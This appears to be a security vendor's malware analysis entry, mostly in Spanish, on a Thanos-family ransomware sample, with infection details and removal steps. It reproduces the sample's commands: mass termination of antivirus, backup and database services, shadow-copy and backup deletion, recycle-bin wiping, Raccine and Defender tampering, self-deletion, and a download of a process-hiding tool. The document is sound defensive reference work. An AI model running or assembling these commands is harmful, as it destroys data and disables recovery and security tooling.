Análisis realizado por : Maria Emreen Viray   

 Alias

HEUR:Trojan-PSW.MSIL.Reline.vho (KAPERSKY)

 Plataforma:

Windows

 Riesgo general:
 Potencial de destrucción:
 Potencial de distribución:
 Infección divulgada:
 Revelación de la información:
Bajo
Medio
High
Crítico

  • Tipo de malware
    Ransomware

  • Destructivo?
    No

  • Cifrado

  • In the Wild:

  Resumen y descripción

Canal de infección Descargado de Internet

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Elimina las claves de registro asociadas a programas antivirus. Esto permite que el malware ejecute sus rutinas sin ser detectado por los programas antivirus instalados.

  Detalles técnicos

Tamaño del archivo 2,295,296 bytes
Tipo de archivo EXE
Compresión de archivo Themida
Residente en memoria
Fecha de recepción de las muestras iniciales 19 de febrero de 2021
Carga útil Displays message/message boxes, Deletes files, Encrypts files

Detalles de entrada

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Instalación

Infiltra los archivos siguientes:

  • %User Startup%\mystartup.lnk → points to %User Temp%\HOW_TO_RECOVER_YOUR_FILES.txt (Ransom Note)

(Nota: %User Temp% es la carpeta Temp del usuario activo, que en el caso de Windows 2000(32-bit), XP y Server 2003(32-bit) suele estar en C:\Documents and Settings\{nombre de usuario}\Local Settings\Temp y en el case de Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) y 10(64-bit) en C:\Users\{nombre de usuario}\AppData\Local\Temp).

)

Agrega los procesos siguientes:

  • "%System%\notepad.exe" %Desktop%\HOW_TO_RECOVER_YOUR_FILES.txt
  • "icacls" "Z:*" /grant Everyone:F /T /C /Q
  • "icacls" "D:*" /grant Everyone:F /T /C /Q
  • "icacls" "C:*" /grant Everyone:F /T /C /Q
  • "powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }
  • "taskkill.exe" /IM mydesktopservice.exe /F
  • "taskkill.exe" /IM thebat.exe /F
  • "taskkill.exe" /IM steam.exe /F
  • "taskkill.exe" /IM agntsvc.exe /F
  • "taskkill.exe" /IM xfssvccon.exe /F
  • "taskkill.exe" IM thunderbird.exe /F
  • "taskkill.exe" /IM dbsnmp.exe /F
  • "taskkill.exe" /IM zoolz.exe /F
  • "taskkill.exe" /IM infopath.exe /F
  • "taskkill.exe" /IM mbamtray.exe /F
  • "taskkill.exe" /IM thebat64.exe /F
  • "taskkill.exe" /IM ocomm.exe /F
  • "taskkill.exe" /IM dbeng50.exe /F
  • "taskkill.exe" /IM sqlwriter.exe /F
  • "taskkill.exe" /IM tbirdconfig.exe /F
  • "taskkill.exe" /IM excel.exe /F
  • "taskkill.exe" /IM CNTAoSMgr.exe /F
  • "taskkill.exe" /IM sqlservr.exe /F
  • "taskkill.exe" /IM encsvc.exe /F
  • "taskkill.exe" /IM sqlbrowser.exe /F
  • "taskkill.exe" /IM oracle.exe /F
  • "taskkill.exe" /IM sqlagent.exe /F
  • "taskkill.exe" /IM ocautoupds.exe /F
  • "taskkill.exe" /IM ocssd.exe /F
  • "taskkill.exe" /IM mysqld-opt.exe /F
  • "taskkill.exe" /IM mysqld-nt.exe /F
  • "taskkill.exe" /IM wordpad.exe /F
  • "taskkill.exe" /IM mydesktopservice.exe /F
  • "taskkill.exe" /IM winword.exe /F
  • "taskkill.exe" /IM mydesktopqos.exe /F
  • "taskkill.exe" /IM visio.exe /F
  • "taskkill.exe" /IM powerpnt.exe /F
  • "taskkill.exe" /IM tmlisten.exe /F
  • "taskkill.exe" /IM msftesql.exe /F
  • "taskkill.exe" /IM outlook.exe /F
  • "taskkill.exe" /IM msaccess.exe /F
  • "taskkill.exe" /IM onenote.exe /F
  • "taskkill.exe" /IM PccNTMon.exe /F
  • "taskkill.exe" /IM Ntrtscan.exe /F
  • "taskkill.exe" /IM isqlplussvc.exe /F
  • "taskkill.exe" /IM mydesktopqos.exe /F
  • "taskkill.exe" /IM firefoxconfig.exe /F
  • "taskkill.exe" /IM sqbcoreservice.exe /F
  • "taskkill.exe" /IM mspub.exe /F
  • "taskkill.exe" /IM synctime.exe /F
  • "taskkill.exe" /IM mysqld.exe /F
  • "taskkill.exe" /IM mspub.exe /F
  • "net.exe" stop TrueKeyScheduler /y
  • "net.exe" stop SQLTELEMETRY /y
  • "net.exe" stop SQLSERVERAGENT /y
  • "net.exe" stop SQLSafeOLRService /y
  • "net.exe" stop TrueKey /y
  • "net.exe" stop tmlisten /y
  • "net.exe" stop TmCCSF /y
  • "net.exe" stop SQLBrowser /y
  • "net.exe" stop SQLAgent$VEEAMSQL2012 /y
  • "net.exe" stop vapiendpoint /y
  • "net.exe" stop swi_update /y
  • "net.exe" stop SQLAgent$VEEAMSQL2008R2 /y
  • "net.exe" stop swi_update_64 /y
  • "net.exe" stop mssql$vim_sqlexp /y
  • "net.exe" stop mfefire /y
  • "net.exe" stop SQLAgent$TPSAMA /y
  • "net.exe" stop OracleClientCache80 /y
  • "net.exe" stop WRSVC /y
  • "net.exe" stop swi_service /y
  • "net.exe" stop SQLTELEMETRY$ECWDB2 /y
  • "net.exe" stop VeeamTransportSvc /y
  • "net.exe" stop SQLAgent$TPS /y
  • "net.exe" stop TrueKeyServiceHelper /y
  • "net.exe" stop McTaskManager /y
  • "net.exe" stop swi_filter /y
  • "net.exe" stop SstpSvc /y
  • "net.exe" stop MySQL80 /y
  • "net.exe" stop SQLAgent$SYSTEM_BGC /y
  • "net.exe" stop svcGenericHost /y
  • "net.exe" stop SQLAgent$SOPHOS /y
  • "net.exe" stop SQLAgent$SQLEXPRESS /y
  • "net.exe" stop SQLAgent$SQL_2008 /y
  • "net.exe" stop sophossps /y
  • "net.exe" stop SQLAgent$SHAREPOINT /y
  • "net.exe" stop SntpService /y
  • "net.exe" stop SQLAgent$SBSMONITORING /y
  • "net.exe" stop SQLAgent$PROFXENGAGEMENT /y
  • "net.exe" stop SmcService /y
  • "net.exe" stop Smcinst /y
  • "net.exe" stop SQLAgent$PROD /y
  • "net.exe" stop SQLAgent$PRACTTICEMGT /y
  • "net.exe" stop ShMonitor /y
  • "net.exe" stop SQLAgent$PRACTTICEBGC /y
  • "net.exe" stop SepMasterService /y
  • "net.exe" stop SAVService /y
  • "net.exe" stop SAVAdminService /y
  • "net.exe" stop SQLAgent$ECWDB2 /y
  • "net.exe" stop SQLAgent$CXDB /y
  • "net.exe" stop SQLAgent$CITRIX_METAFRAME /y
  • "net.exe" stop sacsvr /y
  • "net.exe" stop MSSQL$SOPHOS /y
  • "net.exe" stop sms_site_sql_backup /y
  • "net.exe" stop SQLAgent$BKUPEXEC /y
  • "net.exe" stop RESvc /y
  • "net.exe" stop mfevtp /y
  • "net.exe" stop wbengine /y
  • "net.exe" stop ReportServer$SQL_2008 /y
  • "net.exe" stop mfemms /y
  • "net.exe" stop wbengine /y
  • "net.exe" stop DCAgent /y
  • "net.exe" stop MSSQL$SHAREPOINT /y
  • "net.exe" stop BackupExecVSSProvider /y
  • "net.exe" stop MSSQL$ECWDB2 /y
  • "net.exe" stop audioendpointbuilder /y
  • "net.exe" stop “Sophos Safestore Service” /y
  • "net.exe" stop BackupExecAgentBrowser /y
  • "net.exe" stop MSSQL$PRACTICEMGT /y
  • "net.exe" stop “Sophos System Protection Service” /y
  • "net.exe" stop BackupExecDeviceMediaService /y
  • "net.exe" stop MSSQL$PRACTTICEBGC /y
  • "net.exe" stop “Sophos Web Control Service” /y
  • "net.exe" stop BackupExecJobEngine /y
  • "net.exe" stop MSSQL$PROD /y
  • "net.exe" stop AcronisAgent /y
  • "net.exe" stop BackupExecManagementService /y
  • "net.exe" stop MSSQL$PROFXENGAGEMENT /y
  • "net.exe" stop Antivirus /y
  • "net.exe" stop BackupExecRPCService /y
  • "net.exe" stop MSSQL$SBSMONITORING /
  • "net.exe" stop MSSQL$SBSMONITORING /y
  • "net.exe" stop AVP /y
  • "net.exe" stop msftesql$PROD /y
  • "net.exe" stop VeeamRESTSvc /y
  • "net.exe" stop BackupExecAgentAccelerator /y
  • "net.exe" stop “SQLsafe Filter Service” /y
  • "net.exe" stop McShield /y
  • "net.exe" stop “Sophos Message Router” /y
  • "net.exe" stop unistoresvc_1af40a /y
  • "net.exe" stop MSSQL$BKUPEXEC /y
  • "net.exe" stop “Sophos MCS Client” /y
  • "net.exe" stop ARSM /y
  • "net.exe" stop msexchangeimap4 /y
  • "net.exe" stop MSOLAP$TPSAMA /y
  • "net.exe" stop “intel(r) proset monitoring service” /y
  • "net.exe" stop “Sophos MCS Agent” /y
  • "net.exe" stop AcrSch2Svc /y
  • "net.exe" stop msexchangeadtopology /y
  • "net.exe" stop MSOLAP$TPS /y
  • "net.exe" stop “aphidmonitorservice” /y
  • "net.exe" stop ReportServer$TPSAMA /y
  • "net.exe" stop “Zoolz 2 Service” /y
  • "net.exe" stop “Sophos Health Service” /y
  • "net.exe" stop W3Svc /y
  • "net.exe" stop MSExchangeSRS /y
  • "net.exe" stop MSOLAP$SYSTEM_BGC /y
  • "net.exe" stop “Veeam Backup Catalog Data Service” /y
  • "net.exe" stop ReportServer$TPS /y
  • "net.exe" stop “Sophos File Scanner Service” /y
  • "net.exe" stop MSExchangeSA /y
  • "net.exe" stop UI0Detect /y
  • "net.exe" stop MSOLAP$SQL_2008 /y
  • "net.exe" stop “Symantec System Recovery” /y
  • "net.exe" stop ReportServer$SYSTEM_BGC /y
  • "net.exe" stop “Sophos Device Control Service” /y
  • "net.exe" stop ReportServer$SQL_2008 /y
  • "net.exe" stop MySQL57 /y
  • "net.exe" stop MSExchangeMTA /y
  • "net.exe" stop SMTPSvc /y
  • "net.exe" stop VeeamNFSSvc /y
  • "net.exe" start upnphost /y
  • "net.exe" stop MsDtsServer /y
  • "net.exe" stop IISAdmin /y
  • "net.exe" stop MSExchangeES /y
  • "net.exe" stop “Sophos Agent” /y
  • "net.exe" stop EraserSvc11710 /y
  • "net.exe" stop “Enterprise Client Service” /y
  • "net.exe" stop “SQL Backups /y
  • "net.exe" stop MsDtsServer100 /y
  • "net.exe" stop NetMsmqActivator /y
  • "net.exe" stop MSExchangeIS /y
  • "net.exe" stop “Sophos AutoUpdate Service” /y
  • "net.exe" stop SamSs /y
  • "net.exe" stop ReportServer /y
  • "net.exe" stop “SQLsafe Backup Service” /y
  • "net.exe" stop MsDtsServer110 /y
  • "net.exe" stop POP3Svc /y
  • "net.exe" stop MSExchangeMGMT /y
  • "net.exe" stop “Sophos Clean Service” /y
  • "net.exe" stop zhudongfangyu /y
  • "net.exe" stop stc_raw_agent /y
  • "net.exe" stop VSNAPVSS /y
  • "net.exe" stop VeeamTransportSvc /y
  • "net.exe" stop VeeamDeploymentService /y
  • "net.exe" stop VeeamNFSSvc /y
  • "net.exe" stop veeam /y
  • "net.exe" stop PDVFSService /y
  • "net.exe" stop BackupExecVSSProvider /y
  • "net.exe" stop BackupExecAgentAccelerator /y
  • "net.exe" stop BackupExecAgentBrowser /y
  • "net.exe" stop BackupExecDiveciMediaService /y
  • "net.exe" stop BackupExecJobEngine /y
  • "net.exe" stop BackupExecManagementService /y
  • "net.exe" stop BackupExecRPCService /y
  • "net.exe" stop AcrSch2Svc /y
  • "net.exe" stop AcronisAgent /y
  • "net.exe" stop CASAD2DWebSvc /y
  • "net.exe" stop CAARCUpdateSvc /y
  • "net.exe" stop sophos /y
  • "net.exe" stop “Acronis VSS Provider” /y
  • "net.exe" stop McAfeeFrameworkMcAfeeFramework /y
  • "net.exe" start FDResPub /y
  • "net.exe" start SSDPSRV /y
  • "net.exe" stop avpsus /y
  • "net.exe" stop McAfeeDLPAgentService /y
  • "net.exe" stop mfewc /y
  • "net.exe" stop BMR Boot Service /y
  • "net.exe" stop NetBackup BMR MTFTP Service /y
  • "net.exe" stop DefWatch /y
  • "net.exe" stop ccEvtMgr /y
  • "net.exe" stop ccSetMgr /y
  • "net.exe" stop SavRoam /y
  • "net.exe" stop RTVscan /y
  • "net.exe" stop QBFCService /y
  • "net.exe" stop QBIDPService /y
  • "net.exe" stop Intuit.QuickBooks.FCS /y
  • "net.exe" stop QBCFMonitorService /y
  • "net.exe" stop YooBackup /y
  • "net.exe" stop YooIT /y
  • "net.exe" stop MSSQLServerOLAPService /y
  • "net.exe" stop VeeamMountSvc /y
  • "net.exe" stop McAfeeFramework /y
  • "net.exe" stop MSSQLServerADHelper100 /y
  • "net.exe" stop McAfeeEngineService /y
  • "net.exe" stop VeeamHvIntegrationSvc /y
  • "net.exe" stop MSSQLServerADHelper /y
  • "net.exe" stop MBEndpointAgent /y
  • "net.exe" stop VeeamEnterpriseManagerSvc /y
  • "net.exe" stop VeeamDeploySvc /y
  • "net.exe" stop MSSQLSERVER /y
  • "net.exe" stop MBAMService /y
  • "net.exe" stop MSSQLFDLauncher$TPSAMA /y
  • "net.exe" stop masvc /y
  • "net.exe" stop VeeamDeploymentService /y
  • "net.exe" stop MSSQLFDLauncher$TPS /y
  • "net.exe" stop macmnsvc /y
  • "net.exe" stop VeeamCloudSvc /y
  • "net.exe" stop MSSQLFDLauncher$SYSTEM_BGC /y
  • "net.exe" stop VeeamCatalogSvc /y
  • "net.exe" stop MSSQLFDLauncher$SQL_2008 /y
  • "net.exe" stop klnagent /y
  • "net.exe" stop MSSQLFDLauncher$SHAREPOINT /y
  • "net.exe" stop kavfsslp /y
  • "net.exe" stop VeeamBrokerSvc /y
  • "net.exe" stop KAVFSGT /y
  • "net.exe" stop VeeamBackupSvc /y
  • "net.exe" stop SQLWriter /y
  • "net.exe" stop MSSQLFDLauncher$SBSMONITORING /y
  • "net.exe" stop MSSQLFDLauncher$PROFXENGAGEMENT /y
  • "net.exe" stop KAVFS /y
  • "net.exe" stop FA_Scheduler /y
  • "net.exe" stop SQLAgent$VEEAMSQL2008R2 /y
  • "net.exe" stop SDRSVC /y
  • "net.exe" stop MSSQL$VEEAMSQL2012 /y
  • "net.exe" stop MSSQL$VEEAMSQL2008R2 /y
  • "net.exe" stop ESHASRV /y
  • "net.exe" stop PDVFSService /y
  • "net.exe" stop EsgShKernel /y
  • "net.exe" stop MSSQL$TPSAMA /y
  • "net.exe" stop ntrtscan /y
  • "net.exe" stop EPUpdateService /y
  • "net.exe" stop MSSQL$TPS /y
  • "net.exe" stop EPSecurityService /y
  • "net.exe" stop MSSQL$VEEAMSQL2008R2 /y
  • "net.exe" stop MSSQL$SYSTEM_BGC /y
  • "net.exe" stop ekrn /y
  • "net.exe" stop mozyprobackup /y
  • "net.exe" stop MMS /y
  • "net.exe" stop MSSQL$SQLEXPRESS /y
  • "net.exe" stop EhttpSrv /y
  • "net.exe" stop bedbg /y
  • "net.exe" stop MSSQL$SQL_2008 /y
  • "net.exe" start Dnscache /y
  • "sc.exe" config SSDPSRV start= auto
  • "sc.exe" config FDResPub start= auto
  • "sc.exe" config upnphost start= auto
  • "sc.exe" config SstpSvc start= disabled
  • "sc.exe" config SQLWriter start= disabled
  • "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
  • "sc.exe" config SQLTELEMETRY start= disabled
  • "sc.exe" config Dnscache start= auto
  • "netsh" advfirewall firewall set rule group="File and Printer Sharing" new enable=Yes
  • "netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes
  • "cmd.exe" /c rd /s /q D:\$Recycle.bin
  • "schtasks" /DELETE /TN "Raccine Rules Updater" /F
  • "cmd.exe" /c rd /s /q %%SYSTEMDRIVE%%\$Recycle.bin
  • "reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F
  • "reg" delete HKCU\Software\Raccine /F
  • "taskkill" /F /IM RaccineSettings.exe
  • powershell.exe Set-MpPreference -EnableControlledFolderAccess Disable

(Nota: %Desktop% es la carpeta Escritorio del usuario activo, que en el caso de Windows 98 y ME suele estar en C:\Windows\Profiles\{nombre de usuario}\Escritorio, en el caso de Windows NT en C:\WINNT\Profiles\{nombre de usuario}\Escritorio, en el caso de Windows 2000(32-bit), XP y Server 2003(32-bit) en C:\Documents and Settings\{nombre de usuario}\Escritorio y en el caso de Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) y 10(64-bit) en C:\Users\{nombre de usuario}\Desktop).

)

Agrega las siguientes exclusiones mutuas para garantizar que solo se ejecuta una de sus copias en todo momento:

  • Global\a61e092f-af60-4971-9606-2414b1d0e04b

Termina su ejecución cuando encuentra los siguientes procesos en la memoria del sistema afectado:

  • http analyzer stand-alone
  • fiddler
  • effetech http sniffer
  • firesheep
  • IEWatch Professional
  • dumpcap
  • wireshark
  • wireshark portable
  • sysinternals tcpview
  • NetworkMiner
  • NetworkTrafficView
  • HTTPNetworkSniffer
  • tcpdump
  • intercepter
  • Intercepter-NG
  • ollydbg
  • x64dbg
  • x32dbg
  • dnspy
  • dnspy-x86
  • de4dot
  • ilspy
  • dotpeek
  • dotpeek64
  • ida64
  • RDG Packer Detector
  • CFF Explorer
  • PEiD
  • protection_id
  • LordPE
  • pe-sieve
  • MegaDumper
  • UnConfuserEx
  • Universal_Fixer
  • NoFuserEx

Otras modificaciones del sistema

Agrega las siguientes entradas de registro:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows NT\CurrentVersion\Winlogon
LegalNoticeCaption = YOUR FILES IN SAFELY LOCKED AND YOUR PASSWORD WAS CHANGED by Alumni AFTER THE PAYMENT PLEASE CONTACT WITH US ASAP.

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows NT\CurrentVersion\Winlogon
LegalNoticeText = {Text from Ransom Note}

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Policies\
System
legalnoticecaption = YOUR FILES IN SAFELY LOCKED AND YOUR PASSWORD WAS CHANGED by Alumni AFTER THE PAYMENT PLEASE CONTACT WITH US ASAP.

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Policies\
System
legalnoticetext = {Text from Ransom Note}

Elimina las siguientes claves de registro asociadas a aplicaciones antivirus y de seguridad:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\EventLog\Application
Raccine =

HKEY_LOCAL_MACHINE\SOFTWARE
Raccine =

HKEY_CURRENT_USER\SOFTWARE
Raccine =

Otros detalles

Cifra los archivos con las extensiones siguientes:

  • .txt
  • .jpeg
  • .gif
  • .jpg
  • .png
  • .php
  • .cs
  • .cpp
  • .rar
  • .zip
  • .html
  • .htm
  • .xls
  • .avi
  • .mp4
  • .ppt
  • .doc
  • .sxi
  • .sxw
  • .odt
  • .hwp
  • .tar
  • .bz2
  • .mkv
  • .eml
  • .msg
  • .ost
  • .pst
  • .edb
  • .sql
  • .accdb
  • .mdb
  • .dbf
  • .odb
  • .myd
  • .java
  • .pas
  • .asm
  • .key
  • .pfx
  • .pem
  • .p12
  • .csr
  • .gpg
  • .aes
  • .vsd
  • .odg
  • .raw
  • .nef
  • .svg
  • .psd
  • .vmx
  • .vmdk
  • .vdi
  • .lay6
  • .sqlite3
  • .sqlitedb
  • .class
  • .mpeg
  • .djvu
  • .tiff
  • .backup
  • .cert
  • .docm
  • .xlsm
  • .dwg
  • .bak
  • .qbw
  • .nd
  • .tlg
  • .lgb
  • .pptx
  • .mov
  • .xdw
  • .ods
  • .wav
  • .mp3
  • .aiff
  • .flac
  • .m4a
  • .ora
  • .mdf
  • .ldf
  • .ndf
  • .dtsx
  • .rdl
  • .dim
  • .mrimg
  • .qbb
  • .rtf
  • .7z

Hace lo siguiente:

  • encrypts all available drives except for CDROMs
  • empties recycle bin using the following commands:
    • "cmd.exe" /c rd /s /q D:\$Recycle.bin
    • "cmd.exe" /c rd /s /q %%SYSTEMDRIVE%%\$Recycle.bin
  • Terminates and deletes itself using the following commands:
    • cmd.exe /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
    • cmd.exe /C choice /C Y /N /D Y /T 3 & Del
  • deletes the following subkeys under HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options:
    • vssadmin.exe
    • wmic.exe
    • wbadmin.exe
    • bcdedit.exe
    • powershell.exe
    • diskshadow.exe
    • net.exe
  • displays the following tooltip notification:
  • attempts to hide itself from specific monitoring tools by doing the following:
    • downloads ProcessHide32/64 binary to %User Temp%\{random}.exe (deletes after use) from the following URLs:
      • https://raw.{BLOCKED}usercontent.com/d35ha/ProcessHide/master/bins/ProcessHide64.exe
      • https://raw.{BLOCKED}usercontent.com/d35ha/ProcessHide/master/bins/ProcessHide32.exe
    • checks if the following monitoring processes containing the following strings are running:
      • Taskmgr
      • taskmgr
      • ProcessHacker
      • procexp
    • executes ProcessHide32/64 with the following parameters:
      • {PID of checked process} {full file path + name of malware} [" *32"]
  • terminates large running processes taking up memory if the following strings are not found in the process name:
    • {malware name}.exe
    • chrome
    • opera
    • msedge
    • iexplore
    • firefox
    • explorer
    • wininit
    • winlogon
    • SearchApp
    • SearchIndexer
    • SearchUI
  • if infected system is in Windows XP, creates the following processes to delete shadow copies:
    • vssadmin.exe Delete Shadows /all /quiet
    • vssadmin.exe resize shadowstorage /for=c: /on=c: /maxsize=401MB
    • vssadmin.exe resize shadowstorage /for=c: /on=c: /maxsize=unbounded
    • vssadmin.exe resize shadowstorage /for=d: /on=d: /maxsize=401MB
    • vssadmin.exe resize shadowstorage /for=d: /on=d: /maxsize=unbounded
    • vssadmin.exe resize shadowstorage /for=e: /on=e: /maxsize=401MB
    • vssadmin.exe resize shadowstorage /for=e: /on=e: /maxsize=unbounded
    • vssadmin.exe resize shadowstorage /for=f: /on=f: /maxsize=401MB
    • vssadmin.exe resize shadowstorage /for=f: /on=f: /maxsize=unbounded
    • vssadmin.exe resize shadowstorage /for=g: /on=g: /maxsize=401MB
    • vssadmin.exe resize shadowstorage /for=g: /on=g: /maxsize=unbounded
    • vssadmin.exe resize shadowstorage /for=h: /on=h: /maxsize=401MB
    • vssadmin.exe resize shadowstorage /for=h: /on=h: /maxsize=unbounded
    • vssadmin.exe Delete Shadows /all /quiet
  • attempts to delete backup files using the following processes:
    • del.exe /s /f /q d:\*.VHD d:\*.bac d:\*.bak d:\*.wbcat d:\*.bkf d:\Backup*.* d:\backup*.* d:\*.set d:\*.win d:\*.dsk
    • del.exe /s /f /q e:\*.VHD e:\*.bac e:\*.bak e:\*.wbcat e:\*.bkf e:\Backup*.* e:\backup*.* e:\*.set e:\*.win e:\*.dsk
    • del.exe /s /f /q f:\*.VHD f:\*.bac f:\*.bak f:\*.wbcat f:\*.bkf f:\Backup*.* f:\backup*.* f:\*.set f:\*.win f:\*.dsk
    • del.exe /s /f /q g:\*.VHD g:\*.bac g:\*.bak g:\*.wbcat g:\*.bkf g:\Backup*.* g:\backup*.* g:\*.set g:\*.win g:\*.dsk
    • del.exe /s /f /q h:\*.VHD h:\*.bac h:\*.bak h:\*.wbcat h:\*.bkf h:\Backup*.* h:\backup*.* h:\*.set h:\*.win h:\*.dsk

  Soluciones

Motor de exploración mínimo 9.800
Primer archivo de patrones de VSAPI 16.568.03
Primera fecha de publicación de patrones de VSAPI 01 de marzo de 2021
Versión de patrones OPR de VSAPI 16.569.00
Fecha de publicación de patrones OPR de VSAPI 02 de marzo de 2021

Step 2

Los usuarios de Windows ME y XP, antes de llevar a cabo cualquier exploración, deben comprobar que tienen desactivada la opción Restaurar sistema para permitir la exploración completa del equipo.

Step 3

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 4

Reiniciar en modo seguro

[ aprenda más ]

Step 5

Eliminar este valor del Registro

[ aprenda más ]

Importante: si modifica el Registro de Windows incorrectamente, podría hacer que el sistema funcione mal de manera irreversible. Lleve a cabo este paso solo si sabe cómo hacerlo o si puede contar con ayuda de su administrador del sistema. De lo contrario, lea este artículo de Microsoft antes de modificar el Registro del equipo.

  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
    • Windows NT\CurrentVersion\Winlogon
  • In LegalNoticeCaption = YOUR FILES IN SAFELY LOCKED AND YOUR PASSWORD WAS CHANGED by Alumni AFTER THE PAYMENT PLEASE CONTACT WITH US ASAP.
    • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
  • In Windows NT\CurrentVersion\Winlogon
    • LegalNoticeText = {Text from Ransom Note}
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
    • Windows\CurrentVersion\Policies\
  • In System
    • legalnoticecaption = YOUR FILES IN SAFELY LOCKED AND YOUR PASSWORD WAS CHANGED by Alumni AFTER THE PAYMENT PLEASE CONTACT WITH US ASAP.
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
    • Windows\CurrentVersion\Policies\
  • In System
    • legalnoticetext = {Text from Ransom Note}

Step 6

Buscar y eliminar este archivo

[ aprenda más ]
Puede que algunos de los archivos del componente estén ocultos. Asegúrese de que tiene activada la casilla Buscar archivos y carpetas ocultos en la opción Más opciones avanzadas para que el resultado de la búsqueda incluya todos los archivos y carpetas ocultos.
  • %User Temp%\HOW_TO_RECOVER_YOUR_FILES.txt
  • %Desktop%\HOW_TO_RECOVER_YOUR_FILES.txt
  • {encrypted directory}\HOW_TO_RECOVER_YOUR_FILES.txt
  • %User Startup%\mystartup.lnk

Step 7

Reinicie en modo normal y explore el equipo con su producto de Trend Micro para buscar los archivos identificados como Ransom.MSIL.THANOS.THBAIBA En caso de que el producto de Trend Micro ya haya limpiado, eliminado o puesto en cuarentena los archivos detectados, no serán necesarios más pasos. Puede optar simplemente por eliminar los archivos en cuarentena. Consulte esta página de Base de conocimientos para obtener más información.

Step 8

Restore encrypted files from backup.


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